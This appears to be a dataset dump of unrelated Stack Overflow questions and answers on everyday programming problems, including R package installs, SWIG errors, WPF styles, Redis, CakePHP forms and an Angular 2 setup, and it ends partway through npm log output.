CreateObject("Wscript.Shell").Run "C:\Users\Shersha\Documents\NetBeansProjects\Berries\batch\mysql_start.bat",0,True </code></pre>
36297241	0	 <p>You could try to in your functions.php create or register new "Attatchment" based posts using the URLS of your theme images or try using this...</p> <p><a href="https://wordpress.org/plugins/media-library-plus/" rel="nofollow">https://wordpress.org/plugins/media-library-plus/</a></p>
25719746	0	rmarkdown is not available (for R version 3.1.1) <p>I am looking to create some reports using R using markdown via RStudio. Unfortunately, I am unable to open the scripting window as I am getting an error message when trying to download the 'rmarkdown' package. </p> <p>Here is a list of what I have attempted to do to resolve the issue to date:</p> <ul> <li>Automatically install packages - all packages download properly except for one (rmarkdown) and I get the following errors:</li> </ul> <blockquote> <p>Installing package into <code>'C:/Users/rp5/Documents/R/win-library/3.1'</code> (as 'lib' is unspecified) <code>'C:\Program'</code> is not recognized as an internal or external command, operable program or batch file.</p> </blockquote> <ul> <li>If I try using <code>install.packages("rmarkdown")</code> or using the github manual downlaod:</li> </ul> <blockquote> <p>rmarkdown is not available (for R version 3.1.1)</p> </blockquote> <ul> <li>I have tried using various versions of R, updating my current packages, as well un-installing and reinstalling R and R Studio, deleting all previous packages.</li> </ul> <p>Any ideas on what to try next?</p>
13646954	1	swig generated code, generating illegal storage class for python wrapper of C++ API <p>I'm trying to take the approach of using swig with the main header file. It seems like swig will work doing this, but I've run into some problems. I asked a first question about it <a href="http://stackoverflow.com/questions/13581600/compiling-swig-extension-with-coledatetime-for-python">here on stackoverflow</a> and while I haven't yet been successful, I've made enough progress to feel encouraged to continue...</p> <p>So now, here's my interface file:</p> <pre><code>/* File : myAPI.i */ %module myAPI %{ #include "stdafx.h" #include &lt;boost/algorithm/string.hpp&gt; ... many other includes ... #include "myAPI.h" #include &lt;boost/algorithm/string/predicate.hpp&gt; #include &lt;boost/filesystem/path.hpp&gt; #include &lt;boost/filesystem/operations.hpp&gt; using boost::format; using namespace std; using namespace boost::algorithm; using namespace boost::serialization; %} /* Let's just grab the original header file here */ %include "myAPI.h" </code></pre> <p>As far as I can tell swig runs just fine. However, in the generated code it produces numerous definitions like this one:</p> <pre><code>SWIGINTERN int Swig_var_ModState_set(PyObject *_val) { { void *argp = 0; int res = SWIG_ConvertPtr(_val, &amp;argp, SWIGTYPE_p_MY_API, 0 | 0); if (!SWIG_IsOK(res)) { SWIG_exception_fail(SWIG_ArgError(res), "in variable '""ModState""' of type '""MY_API""'"); } if (!argp) { SWIG_exception_fail(SWIG_ValueError, "invalid null reference " "in variable '""ModState""' of type '""MY_API""'"); } else { MY_API * temp; temp = reinterpret_cast&lt; MY_API * &gt;(argp); ModState = *temp; if (SWIG_IsNewObj(res)) delete temp; } } return 0; fail: return 1; } </code></pre> <p>Visual Studio 2010 complains with an error for each of these code blocks. The error is based on the <code>temp</code> var:</p> <pre><code>2&gt;c:\svn\myapi\myapi_wrap.cxx(3109): error C2071: 'temp' : illegal storage class </code></pre> <p>I tried just to add a global declaration of this variable as an int to the swig generated _wrap.cxx file, but it didn't not work. (clearly a naive approach...).</p> <p>Does anyone have some insight as to what I need to do to avoid this error?</p> <p>Thanks in advance! </p>
32144603	0	 <p>Notes:</p> <ul> <li><p>I am assuming <code>Product::at(int)</code>is returning a <code>Transaction</code>, given a previous question.</p></li> <li><p>I am also assuming OP mean "built-in" when he or she wrote"static"</p></li> </ul> <p>The <code>for</code> can be removed using built-in functions. Some (many?) will find the new syntax less understandable, though.</p> <pre><code>QString Product::toString() { QStringList aggregate; std::transform(m_transactions.begin(), m_transactions.end(), std::back_inserter(aggregate), std::bind(std::mem_fn(&amp;Transactions::toString), std::placeholders::_1)); // or : [](const Transaction&amp; transaction){ return transaction.toString(); }); return aggregate.join("\n"); } </code></pre> <p><code>std::transform</code> will transform every <code>m_transactions</code> elements using <code>Transaction::toString()</code>, and place the results into <code>aggregate</code>. </p> <p><code>std::back_inserter</code> means "use <code>QStringList::push_bask</code> to record the results". If <code>QStringList</code> had a <code>resize(int)</code> like <code>QVector</code> does, we could have used <code>aggregate.begin()</code> instead.</p> <p>The unary function is a bit tricky, as it needs to be converted into a unary function, which what <code>std::bind</code>/<code>std::mem_fn</code> is doing. If you are using C++11, you can use a lambda instead.</p> <hr> <p>Also from the previous question, @SingerOfTheFall's remark is valid:</p> <blockquote> <p>I also find it a little odd to save transactions inside of products. A better design would be having a separate class that could store them.</p> </blockquote> <p>If you keep this design, <code>Transaction Product::at(int)</code> and <code>int Product::size()</code> should be renamed to make the link with <code>Transaction</code> explicit, like <code>getTransaction</code> and <code>getNumberOfTransactions</code>.</p>
34730376	0	 <p>PHPUnit do not has command <code>--run</code> which you used in last argument. Check your NetBeans configuration, maybe your IDE try to run PHPUnit older than 4 (actually is version 5) and you have installed newer version.</p>
1248495	0	 <p>Have you tested the queries actually work with the values you are giving them? ie, use phpMyAdmin or similar and try the query manually?</p> <p>I have had situations where I thought my PHP was incorrect but a small error in my SQL was the problem. </p> <p>You might also want to set PHP's error mode to E_ALL. You can do that in php.ini or through the code by having</p> <pre><code>ini_set("display_errors","2"); ERROR_REPORTING(E_ALL); </code></pre> <p>at the start of your script. It should [hopefully] give you an error that identifies your problem.</p> <hr> <p><strong>EDIT</strong></p> <p>I just noticed something with your conditions that may be the problem...</p> <p>You have:</p> <pre><code>if (!$playerLEVEL ==13) { levelUPSTATS (); $playerLEVEL = 13; //etc } </code></pre> <p>I rather suspect that if block will never run and there will be no call to levelUPSTATS(). </p> <p>You are asking <strong>if NOT $playerLEVEL is EQUAL to 13</strong> when you really want <strong>if $playerLEVEL is NOT EQUAL to 13</strong> which would make the condition:</p> <pre><code>if($playerLEVEL != 13) </code></pre> <p>Note where the <strong>!</strong> (NOT) goes.</p> <p>As an aside, you have a situation with your inequalities where certain edge cases would mean the player is two levels.</p> <p>For example, for level 2 you need between 100 and 200 EXP inclusive. But level 3 needs 200 and 400 EXP inclusive. If your player has 200EXP he is technically level 2 and 3. When the code runs it will match the 200 in the Level 2 section of code and not the Level 3 section...</p> <p>Your code:</p> <pre><code>if($playerEXPERIENCE &gt;= 100 &amp;&amp; $playerEXPERIENCE &lt;= 200) //code to make them 2 if($playerEXPERIENCE &gt;= 200 $$ $playerEXPERIENCE &lt;= 400) //code to make them 3 </code></pre> <p>That to me seems wrong - though it might be what you intended, I don't know. If it wasn't intended you should change it to:</p> <pre><code>if($playerEXPERIENCE &gt;= 100 &amp;&amp; $playerEXPERIENCE &lt; 200) </code></pre> <p>Notice the use of <strong>&lt;</strong> [LESS THAN] instead of <strong>&lt;=</strong> [LESS THAN OR EQUAL TO].</p> <p>I hope this solves your problem :)</p>
10661858	0	 <p>It's saying that there are <code>virtual</code> fields in <code>Person</code> which are not defined. So far we can see your declarations, but not definitions. Check that every virtual field in <code>Person</code>, including those inherited, is defined.</p>
23988358	0	How to include .net framework 4.5.1 in VS 2013 <p>I want to create an installer for Windows application, and to include .NET Framework into that installation (I have selected * Download from the same site as my application). But in compilation of Setup project I get an error, saying that there is no framework installation exists. How do I fix it?</p>
23175753	0	 <p><strong>Here's How It Works</strong></p> <p>You <strong>>>></strong> Forwarding Aggregator <strong>>>></strong> SMS Aggregator <strong>>>></strong> Mobile Operator <strong>>>></strong> Mobile Company <strong>>>></strong> Your Customer</p> <p><strong>3 Major Parties Are Involved in the Whole Process:</strong></p> <p><strong>1. Mobile Operators:</strong> They Manage SMSC (Short Message Service Centers). AT&amp;T, Sprint/NEXTEL, T-Mobile USA, U.S.Cellular and Verizon Wireless are few of the major mobile operators in the whole world. They have deep connections with all major mobile phone companies. Most of them have 800 to 950 telecommunication/mobile companies in their pannel. All of your messages came to them via SMS Aggregators and they forward them to reciever's Mobile Company which send it to receiver in the end. </p> <p><strong>Cost of becoming a Mobile Operator:</strong> Billion Dollar Business if not Trillion.</p> <p><strong>2. SMS Aggregators:</strong> mBlox, air2web and motricity are few of them. They have deep connections with Mobile operators.</p> <p><strong>Cost of becoming SMS Aggregator:</strong> in Millions</p> <p><strong>3. Forwarding Aggregators/SMS Gateways:</strong> Clickatell, Twilio and esendex and few others are providing SMS Gateway APIs and most of the developers are using Clickatell to integrate its SMS API with their app. They charge different rates for different countries (NO FIXED RATE FOR ALL COUNTRIES). It would cost you rougly around $600-$700 for 100,000 messages (internationally). </p> <p><strong>Cost of becoming Forwarding Aggregator</strong>: May be in Millions</p> <p><strong>Bottom Line:</strong> I'm working on a FREE solution but till today there are no FREE reliable solution in the whole world to send Bulk Messages for FREE internationally. So stop wasting your time on searching for a FREE solution. You have to come up with a new technology in order to achive this.</p> <p>Though there are many options to send Bulk messages within your country for FREE or by spending little money but you simply can't achieve this if you're planning to send messages internationally. </p> <p>Usually I avoid adding comments in any forum but this man really forced me to put my legs in. Here's what he commented: "<strong><em>Can we own an SMSC with a small private GSM network?</em></strong>" </p> <p><strong>lol - Thanks for giving me first laughter of the day</strong> :)</p>
6560218	0	 <p>if you are using <code>{% render_comment_form for object %}</code> tag in your template, just add something like <code>{% url object's_named_view object.id as next %}</code> or wrap it with <code>{% with object.get_absolute_url as next %}</code> ... <code>{% endwith %}</code> construction.</p>
8656211	0	 <p>You just have to know that you might be reloading the page, and you may try to use the <br/></p> <pre><code>if(!IsPostBack) </code></pre> <p>in your <code>Page_Load(object sender, EventArgs e)</code></p>
36502681	0	 <p>You've an answer how to do this with XML::Simple already. But I'd suggest not, and use <code>XML::Twig</code> instead, which is MUCH less nasty. </p> <p><a href="http://stackoverflow.com/questions/33267765/why-is-xmlsimple-discouraged">Why is XML::Simple &quot;Discouraged&quot;?</a></p> <p>I'm going to assume that your XML looks a bit like this:</p> <pre><code>&lt;opt Timeout="5"&gt; &lt;Roots&gt; &lt;Root Action="Reject" Interval="Order" Level="Indeterminate" Name="Sales"&gt; &lt;Profiles&gt; &lt;Profile Age="50" Name="Bill" Status="Active" /&gt; &lt;Profile Age="24" Name="Bob" Status="Inactive" /&gt; &lt;/Profiles&gt; &lt;/Root&gt; &lt;/Roots&gt; &lt;/opt&gt; </code></pre> <p>I can't tell for sure, because that's the joy of <code>XML::Simple</code>. But:</p> <pre><code>#!/usr/bin/env perl use strict; use warnings; use XML::Twig; my $twig = XML::Twig -&gt; new -&gt; parsefile ( $configfile ); print $twig -&gt; get_xpath ( '//Profile[@Name="Bob"]',0 ) -&gt; att('Status') </code></pre> <p>This uses <code>xpath</code> to locate the attribute you desire - <code>//</code> denotes a 'anywhere in tree' search. </p> <p>But you could instead:</p> <pre><code>print $twig -&gt; get_xpath ( '/opt/Roots/Root/Profiles/Profile[@Name="Bob"]',0 ) -&gt; att('Status') </code></pre> <p>Much <em>simpler</em> wouldn't you agree? </p> <p>Or iterate all the 'Profiles':</p> <pre><code>foreach my $profile ( $twig -&gt; get_xpath ('//Profile' ) ) { print $profile -&gt; att('Name'), " =&gt; ", $profile -&gt; att('Status'),"\n"; } </code></pre>
13642262	0	 <p>A U-matrix is a visual representation of the distances between neurons in the input data dimension space. Namely you calculate the distance between adjacent neurons, using their trained vector. If your input dimension was 4 then each neuron in the trained map corresponds to a 4-dimensional vector. Lets say you have a 3x3 hexagonal map.</p> <p><img src="https://i.stack.imgur.com/XIztZ.png" alt="map lattice"></p> <p>The umatrix will be a 5x5 matrix with interpolated elements for each connection between two neurons like this</p> <p><img src="https://i.stack.imgur.com/8pHtC.png" alt="u-mat lattice"></p> <p>The {x,y} elements are the distance between neuron x and y and the values in {x} elements are the mean of the surrounding values. eg {4,5} = distance(4,5) and {4} = mean({1,4},{2,4},{4,5},{4,7}). For the calculation of the distance you use the trained 4-dimensional vector of each neuron and the distance formula that you used for the training of the map (usually Euclidian distance). So the values of the umat are only numbers (no vectors). Then you can assign a light gray colour to the largest of these values and a dark gray to the smallest and the other values to corresponding shades of gray. You can use these colours to paint the cells of the umat and have a visualized representation of the distances between neurons.</p> <p><a href="http://users.ics.aalto.fi/jhollmen/dippa/node24.html" rel="nofollow noreferrer">check also this</a></p>
8197061	0	 <pre><code>var result=exampleList.GroupBy(p=&gt;p.Name).SelectMany(p=&gt;p.Select((value,index)=&gt; new CartItem() { Name = value.Name + (p.Count() == 1?"": string.Format(" ({0} of {1})", index+1, p.Count())), UnitPrice=value.UnitPrice, Quantity=value.Quantity, } )).ToList(); </code></pre>
16247577	0	WPF UserControls: Image disappears even with 'x:Shared="False"' <p>I defined a style in a <code>ResourceDictionary</code> for a button with an image:</p> <pre><code>&lt;Style x:Key="BotonIrAInicioStyle" TargetType="Button"&gt; &lt;Setter Property="Margin" Value="0"/&gt; &lt;Setter Property="Width" Value="{Binding RelativeSource={RelativeSource Self}, Path=ActualHeight}"/&gt; &lt;Setter Property="Content"&gt; &lt;Setter.Value&gt; &lt;Image Margin="2" Source="{StaticResource IconoDashboardBlanco}" MaxHeight="20" Stretch="Uniform" RenderOptions.BitmapScalingMode="HighQuality"/&gt; &lt;/Setter.Value&gt; &lt;/Setter&gt; &lt;/Style&gt; </code></pre> <p>The image source is defined in another <code>ResourceDictionary</code> in the same assembly, and marked as <code>x:Shared="False"</code>:</p> <pre><code>&lt;BitmapImage x:Key="IconoDashboardBlanco" x:Shared="False" UriSource="pack://application:,,,/QualityFramework;component/Images/dashboard64X64.png"/&gt; </code></pre> <p>Since the style will be used in a different assembly, I used the <code>"pack://application:,,,"</code> notation to reference the image. The <code>Build Action</code> for the image is set to <code>Resource (Do not copy to output directory)</code>.</p> <p>In the main assembly I have two <code>UserControls</code> which display a button with identical style:</p> <pre><code>&lt;Button DockPanel.Dock="Left" Style="{StaticResource BotonIrAInicioStyle}" Click="BotonIrAInicio_Click"/&gt; (Click event has nothing to do with the problem) </code></pre> <p><strong>PROBLEM:</strong></p> <p>I open <code>UserControl A</code> containing the button with the image and the image is displayed ok. Then I open <code>UserControl B</code> containing an identical button, image ok. I open <code>UserControl A</code> again, and the image is gone. Happens the same if I open <code>UserControl B</code> and then <code>UserControl A</code>, the last one "owns" the image.</p> <p>I went everywhere and all the solutions point to the <code>x:Shared="False"</code>, the <code>URI notation</code> and the <code>Build Action</code>... I applied all of them and the problem still happens. I also tried cleaning and rebuilding with no success.</p> <p>What am I missing? Thanks!</p> <p>PS: if I set the content of both buttons to the image directly it works ok, but the whole point of styling is to avoid exactly that!</p>
8358196	0	onfullscreenchange DOM event <p>as the title reads, I'd like to know what is the most reliable way to trigger an event when the Browser(s) enters/leaves in/out the fullscreen mode.</p> <p><strong>note :</strong> I'm not asking how to fullscreen the current page, I just want to know whether or not there is a way to queue some tasks if the user, for example, press F11 or any other related fullscreen-entering keys.</p>
36578070	0	Google Cloud Messaging IP address <p>I have made an android application with GCM enabled service in it which works on localhost. User needs to register in order save the device id in the database which would help administrator to send push notifications to the user. Since, the database is on localhost, registration works fine on emulator. But after installing the app on phone, the device does not get registered. Due to unsuccessful registration, the details do not get entered into the database. After searching a bit, found out the problem as the ip address. IP address on pc is different than the address taken by phone even via same router. Is there any solution for this problem? I really need to run the app on the phone and not just on emulator. Thanks in advance!</p>
14086818	0	 <p>Add a button with text. </p> <p>Or add a <code>UITextView</code> and add a tap gesture recognizer to it with an action that performs the segue.</p>
28619001	0	How to migrate from Qt Creator to other IDEs, like Eclipse and Code::Blocks <p>I'm trying to develop a toolbox for System Identification and some other Engineering problems. I've managed to write source codes in C++ and they seem to be functional. </p> <p>Now I'm trying to create some GUI using Qt Creator. Using some tutorials I've found using Qt very simple, but I'm not sure what happens if I decide to change my IDE for some reasons. </p> <p>In my code there are a lot of code lines specific to Qt like: QtWidgets/QApplication, QtWidgets/QLabel, ...</p> <p>As a newbie in programming could someone explain me if there are some standard methods for migrating from Qt Creator to other IDEs.</p>
27921143	0	How to implement a slide down setting view in a sidebar view, jut like Gmail on iOS <p>I am searching for a easy or good way to implement a slide down setting view in sidebar view, just like what Gmail did on iOS. If you click the small down arrow on Gmail's side bar view, it will show a setting view with animation down to the bottom.</p> <p>I am using SWRevealViewController for side bar implementation.</p> <p>Want hear from you masters how to start implement it especially based on SWRevealViewController</p>
6528889	0	 <p>See the detailed explanations from <a href="http://msdn.microsoft.com/en-us/library/bb385974.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/bb385974.aspx</a></p>
26503419	0	 <p>I still don't know why, but if I use the @Configuration annotation, then it works... No GeoModule bean needed, but how can it be, that with the original config as XML bean definition it works, but with the subclass, it does not?</p>
10703019	0	Redis fetch all value of list without iteration and without popping <p>I have simple redis list key => "supplier_id"</p> <p>Now all I want it retrieve all value of list without actually iterating over or popping the value from list</p> <p>Example to retrieve all the value from a list Now I have iterate over redis length</p> <pre><code>element = [] 0.upto(redis.llen("supplier_id")-1) do |index| element &lt;&lt; redis.lindex("supplier_id",index) end </code></pre> <p>can this be done <strong>without the iteration</strong> perhap with better redis modelling . can anyone suggest</p>
40001669	0	How it's possible to set the thread contextclassloader with spark? <p>How it's possible to manage the Thread context classloader with a Spark jobs ?</p>
6386864	0	 <p>It is difficult to give a general advice not knowing any specifics. <a href="http://weblogs.asp.net/shijuvarghese/archive/2008/07/09/asp-net-mvc-vs-asp-net-web-form.aspx" rel="nofollow">Here's a brief overview of pros and cons</a></p>
250477	0	 <p>Lots of people use IOC in .NET, and there are several frameworks available to assist with using IoC. You may see it less in the WinForms side of things, because it's harder to just let the container wire everything together when you are designing forms in Visual Studio, but I can say that for server-side .NET applications, where I work at least, IoC is used very successfully.</p> <p>Why use it in .NET? For the same reason you use it everywhere else. The 2 biggest things I like are:</p> <ul> <li>Designing for IoC tends to enforce good coding practice - designing to interfaces, low coupling, high cohesion. This also leads to classes that are very easy to unit-test.</li> <li>System configuration can often be changed without recompiling.</li> </ul> <p>Some other posts discussing the different IoC/DI frameworks available for .NET:</p> <ul> <li><a href="http://stackoverflow.com/questions/21288/which-cnet-dependency-injection-frameworks-are-worth-looking-into">Which C#/.net Dependency Injection frameworks are worth looking into?</a></li> <li><a href="http://stackoverflow.com/questions/148908/which-dependency-injection-tool-should-i-use">Which Dependency Injection Tool Should I Use?</a></li> </ul>
11425019	0	 <p>The same origin policy is applicable only for browser side programming languages. So if you try to post to a different server than the origin server using JavaScript, then the same origin policy comes into play but if you post directly from the form i.e. the action points to a different server like:</p> <pre><code>&lt;form action="http://someotherserver.com"&gt; </code></pre> <p>and there is no javascript involved in posting the form, then the same origin policy is not applicable. </p> <p>See <a href="http://en.wikipedia.org/wiki/Same_origin_policy">wikipedia</a> for more information</p>
1104625	0	Cruisecontrol, deployment, folder permissions <p>We're using <a href="http://cruisecontrol.net" rel="nofollow noreferrer">cruisecontrol.net</a>, it builds the version, creates a zip file, then 15 min later, unzips the file on the Integration server. But when the folder gets to the integration server, often, the security permission on one of the folders is totally hosed. The Domain admin and folder owner can't even open the folder in explorer. We reboot and the folder permissions are good we can delete the folder and redeploy the zip file and it's okay.</p> <p>Does anyone have any idea what or how the folder permissions are getting so messed up? Any tools to use to diagnose/watch what exactly is messing it up?</p>
23111106	0	In My database my application form data not storing <p><strong>I developed one form.it will not work properly.here is my code all db,model,controller classes</strong></p> <p>here is database code.</p> <p><strong>database:</strong></p> <pre><code>CREATE TABLE users ( id INT( 10 ) NOT NULL AUTO_INCREMENT PRIMARY KEY , username VARCHAR( 40 ) NOT NULL , password VARCHAR( 40 ) NOT NULL , email VARCHAR( 255 ) NOT NULL , first_name VARCHAR( 40 ) NOT NULL , last_name VARCHAR( 40 ) NOT NULL ) </code></pre> <p><strong>model class:</strong></p> <pre><code>&lt;?php class User extends AppModel{ var $name='User'; } ?&gt; </code></pre> <p><strong>view class:</strong></p> <pre><code>&lt;html&gt; &lt;form action="../users/register" method="post"&gt; &lt;p&gt;Please fill out the form below to register an account.&lt;/p&gt; &lt;label&gt;Username:&lt;/label&gt;&lt;input name="username" size="40" /&gt; &lt;label&gt;Password:&lt;/label&gt;&lt;input type="password" name="password" size="40"/&gt; &lt;label&gt;Email Address:&lt;/label&gt;&lt;input name="email" size="40" maxlength="255" /&gt; &lt;label&gt;First Name:&lt;/label&gt;&lt;input name="first_name" size="40" /&gt; &lt;label&gt;Last Name:&lt;/label&gt;&lt;input name="last_name" size="40" /&gt; &lt;input type="submit" value="register" /&gt; &lt;/form&gt; &lt;/html&gt; </code></pre> <p><strong>controller class:</strong></p> <pre><code>&lt;?php class UsersController extends AppController{ function register(){ if (!empty($this-&gt;params['form'])){ if($this-&gt;User-&gt;save($this-&gt;params['form'])){ $this-&gt;flash('Registration Successful','/users/register'); } else{ $this-&gt;flash('Not succeeded','/users/register'); } } } } ?&gt; </code></pre> <p>please resolve my problem</p>
25915897	0	Android build cycle with eclipse and ant <p>First of all, <strong>my goal</strong>: On running the android application I want to create a new String with the current date/time to display in the application and/or store in the strings.xml. I tried to get into the build and run process with android, eclipse and ant.</p> <p><strong>What I did so far:</strong></p> <p>I did <code>android update project --target --path</code>, I tried eclipse -> export -> ant build files, I somehow managed to execute "ant" on cmd with the "BUILD SUCCESSFUL" result (but it didn't start the application because building and running is different as I learned later), I searched my android sdk for the android_rules.xml but couldn't find it.</p> <p>But my real struggle is <strong>understanding</strong> the build and run cycle of an Android project, additionally with ant.</p> <p>Can someone please help me with this? I haven't found anything understandable for basics. It would be nice to get an approach for my problem with the string on build.</p> <p>Zuop</p>
8120401	0	sbt: Unable to specify application configuration in mingw <p>I am trying to launch an application using sbt's <a href="http://code.google.com/p/simple-build-tool/wiki/GeneralizedLauncher" rel="nofollow">application launcher</a>.<br> This application is defined as: </p> <pre><code>#!/bin/sh java -jar /home/salil.wadnerkar/.conscript/sbt-launch.jar @"/home/salil.wadnerkar/.conscript/n8han/conscript/cs/launchconfig" "$@" </code></pre> <p>However, when I launch it, it gives me this error: </p> <pre><code>$ ~/bin/cs n8han/giter8 Error during sbt execution: Could not find configuration file 'C:/MinGW/msys/1.0/home/salil.wadnerkar/.conscript/n8han/conscript/cs/launchconfig'. Searched: file:/C:/MinGW/msys/1.0/home/salil.wadnerkar/ file:/C:/Users/salil.wadnerkar/ file:/C:/MinGW/msys/1.0/home/salil.wadnerkar/.conscript/ </code></pre> <p>However, the file is present there. So, I think it's because of some quirk in the way sbt handles mingw file path. Does anybody know how I can get it working?</p>
30773970	0	Running msi causes “module failed to register” in 32bit win7,but works in 64bit win7 <p>I'm trying to deploy my project and create an installer. I've created a msi file in vs2005. When running the .msi setup wizard, i'm getting the error:</p> <blockquote> <p>"Module abc failed to register. HRESULT -2147010895. Contact your support personnel."</p> </blockquote> <p>The module that failed to register is a C++ com dll.But in x64 platform it works fine.while I changed the solution's targetPlatform to x86,and replace the dll to the version of win32 dll,then installed at a 32bit win7 computer, I got "Module failed to register". By the way ,I set the dll's register property to the vlaue of vsdrfCOMSelfReg.</p> <p>Does anyone know of a solution for this problem?Thanks!</p>
13872904	0	Javascript alert box and confirmation after <p>I want to create a javascript for checking value of textbox so if the textbox blank, it won't proceed to next page. AND after checking (if all condition is true) it will return the result of textbox.</p> <p>I've created this javascript:</p> <pre><code>function cekdata(myform) { var id = document.myform.clientid.value; var nama = document.myform.nama.value; var divisi = document.myform.divisi.value; var way = document.getElementById('twoway').value; var ori = document.myform.lokasi.value; var desti = document.myform.tujuan.value; var ket = document.myform.keterangan.value; var tpergi = document.myform.tglb.value; var jpergi = document.myform.jamb.value; var mpergi = document.myform.menitb.value; var pegi = tpergi+', '+jpergi+':'+mpergi; var tplg = document.myform.tglp.value; var jplg = document.myform.jamp.value; var mplg = document.myform.menitp.value; var plg = tplg+', '+jplg+':'+mplg; if (document.myform.clientid.value == "") { alert("Please Fill Your ID"); myform.clientid.focus(); return false; } else if (document.myform.nama.value == "") { alert("Please Fill Passenger Name"); myform.nama.focus(); return false; } else if (document.myform.lokasi.value == "") { alert("Please Fill Origin Location"); myform.lokasi.focus(); return false; } else if (document.myform.tujuan.value == "") { alert("Please Fill Your Destination"); myform.tujuan.focus(); return false; } else if (document.myform.tglb.value == "") { alert("Please Fill Departure Date"); myform.tglb.focus(); return false; } else if (document.myform.novehicle.value == "") { alert("Please Fill Vehicle Number"); myform.novehicle.focus(); return false; } else if (document.myform.driverid.value == "") { alert("Please Fill Driver ID"); myform.driverid.focus(); return false; } else if(document.getElementById('twoway').checked) { if (document.myform.tglp.value == "") { alert("Please Fill Return Date"); myform.tglp.focus(); return false; } else if (document.myform.tglb.value &gt; document.myform.tglp.value) { alert("Return date must bigger than departure date"); myform.tglp.focus(); return false; } } else { var a = window.confirm("CONFIRMATION :\nID : " +id+"\nName : "+nama+"\nDivision : "+divisi+"\nOne Way : "+way+"\nOrigin : "+ori+"\nDestination : "+desti+"\nNotes : "+ket+"\nDeparture : "+pegi+"\nArrived :"+plg); if (a==true) { return true; } else { return false; } } } </code></pre> <p>And I called this function like this:</p> <pre><code>&lt;form name="myform" onsubmit="return cekdata(this);" method="POST" action="&lt;?php $_SERVER["PHP_SELF"]; ?&gt;"&gt; </code></pre> <p>But what I got is the confirm box never show up, and it returns true (and go to next page). So, how to change this condition so my confirmation box showed up first, then after click OK, it go to next page, and if CANCEL, do nothing?</p>
15074358	0	 <p>Stretch's answer appears to be a great workaround, but it uses deprecated APIs. So, I thought it might be worthy of an upgrade to the code.</p> <p>For this code sample, I added the routines to the ViewController which contains my UIWebView. I made my UIViewController a UIWebViewDelegate and a NSURLConnectionDataDelegate. Then I added 2 data members: _Authenticated and _FailedRequest. With that, the code looks like this:</p> <pre><code>-(BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest *)request navigationType:(UIWebViewNavigationType)navigationType { BOOL result = _Authenticated; if (!_Authenticated) { _FailedRequest = request; [[NSURLConnection alloc] initWithRequest:request delegate:self]; } return result; } -(void)connection:(NSURLConnection *)connection willSendRequestForAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge { if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]) { NSURL* baseURL = [NSURL URLWithString:_BaseRequest]; if ([challenge.protectionSpace.host isEqualToString:baseURL.host]) { NSLog(@"trusting connection to host %@", challenge.protectionSpace.host); [challenge.sender useCredential:[NSURLCredential credentialForTrust:challenge.protectionSpace.serverTrust] forAuthenticationChallenge:challenge]; } else NSLog(@"Not trusting connection to host %@", challenge.protectionSpace.host); } [challenge.sender continueWithoutCredentialForAuthenticationChallenge:challenge]; } -(void)connection:(NSURLConnection *)connection didReceiveResponse:(NSURLResponse *)pResponse { _Authenticated = YES; [connection cancel]; [_WebView loadRequest:_FailedRequest]; } </code></pre> <p>I set _Authenticated to NO when I load the view and don't reset it. This seems to allow the UIWebView to make multiple requests to the same site. I did not try switching sites and trying to come back. That may cause the need for resetting _Authenticated. Also, if you are switching sites, you should keep a dictionary (one entry for each host) for _Authenticated instead of a BOOL.</p>
39601609	0	Angular 2 - cant load demo libraries (Visual Studio 2015) <p>OK I am stumped: Is there a basic, minimal, working Angular 2 tutorial for Visual Studio 2015 <a href="https://i.stack.imgur.com/TguJv.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/TguJv.png" alt="enter image description here"></a>that actually works?</p> <p>I've attempted numerous tutorials including the official one: <a href="https://angular.io/docs/ts/latest/cookbook/visual-studio-2015.html" rel="nofollow noreferrer">https://angular.io/docs/ts/latest/cookbook/visual-studio-2015.html</a></p> <p>Believe it or not, at the time of writing this post this example does not work - throws a 404 for numerous dependencies referenced in the NPM package.json file (as for the others tuts, well they reference a lot of beta removed or non-existing references).</p> <p>I mean, where do you actually download Angular 2 Typings from? They are certainly not listed with the rest of the library on the official site: <a href="https://code.angularjs.org/" rel="nofollow noreferrer">https://code.angularjs.org/</a></p> <p>It actually seems to be impossibly complicated to create an Angular 2 application in Visual Studio that does not require a mass of dependencies and actually works.</p> <p>Is it just me or are other members of the VS dev community experiencing the same?</p> <p>output for NPM package.json:</p> <pre><code>npm WARN package.json angular-quickstart@1.0.0 No README data npm http GET https://registry.npmjs.org/core-js npm http GET https://registry.npmjs.org/bootstrap npm http GET https://registry.npmjs.org/reflect-metadata npm http GET https://registry.npmjs.org/zone.js npm http GET https://registry.npmjs.org/systemjs npm http GET https://registry.npmjs.org/angular2-in-memory-web-api npm http GET https://registry.npmjs.org/http-server npm http GET https://registry.npmjs.org/lite-server npm http GET https://registry.npmjs.org/canonical-path npm http GET https://registry.npmjs.org/jasmine-core npm http GET https://registry.npmjs.org/karma-chrome-launcher npm http GET https://registry.npmjs.org/karma-htmlfile-reporter npm http GET https://registry.npmjs.org/angular/core npm http GET https://registry.npmjs.org/angular/compiler npm http GET https://registry.npmjs.org/angular/common npm http GET https://registry.npmjs.org/angular/platform-browser npm http GET https://registry.npmjs.org/angular/platform-browser-dynamic npm http GET https://registry.npmjs.org/angular/http npm http GET https://registry.npmjs.org/angular/forms npm http GET https://registry.npmjs.org/angular/router npm http GET https://registry.npmjs.org/angular/upgrade npm http GET https://registry.npmjs.org/karma-cli npm http GET https://registry.npmjs.org/karma-jasmine npm http GET https://registry.npmjs.org/rxjs npm http GET https://registry.npmjs.org/lodash npm http GET https://registry.npmjs.org/typescript npm http GET https://registry.npmjs.org/tslint npm http GET https://registry.npmjs.org/typings npm http GET https://registry.npmjs.org/karma npm http GET https://registry.npmjs.org/protractor npm http GET https://registry.npmjs.org/rimraf npm http GET https://registry.npmjs.org/concurrently npm http 304 https://registry.npmjs.org/systemjs npm http 304 https://registry.npmjs.org/zone.js npm http 304 https://registry.npmjs.org/core-js npm http 304 https://registry.npmjs.org/reflect-metadata npm http 304 https://registry.npmjs.org/angular2-in-memory-web-api npm http 200 https://registry.npmjs.org/http-server npm http 304 https://registry.npmjs.org/lite-server npm http 304 https://registry.npmjs.org/jasmine-core npm http 304 https://registry.npmjs.org/karma-chrome-launcher npm http 304 https://registry.npmjs.org/bootstrap npm http 304 https://registry.npmjs.org/karma-htmlfile-reporter npm http 304 https://registry.npmjs.org/canonical-path npm 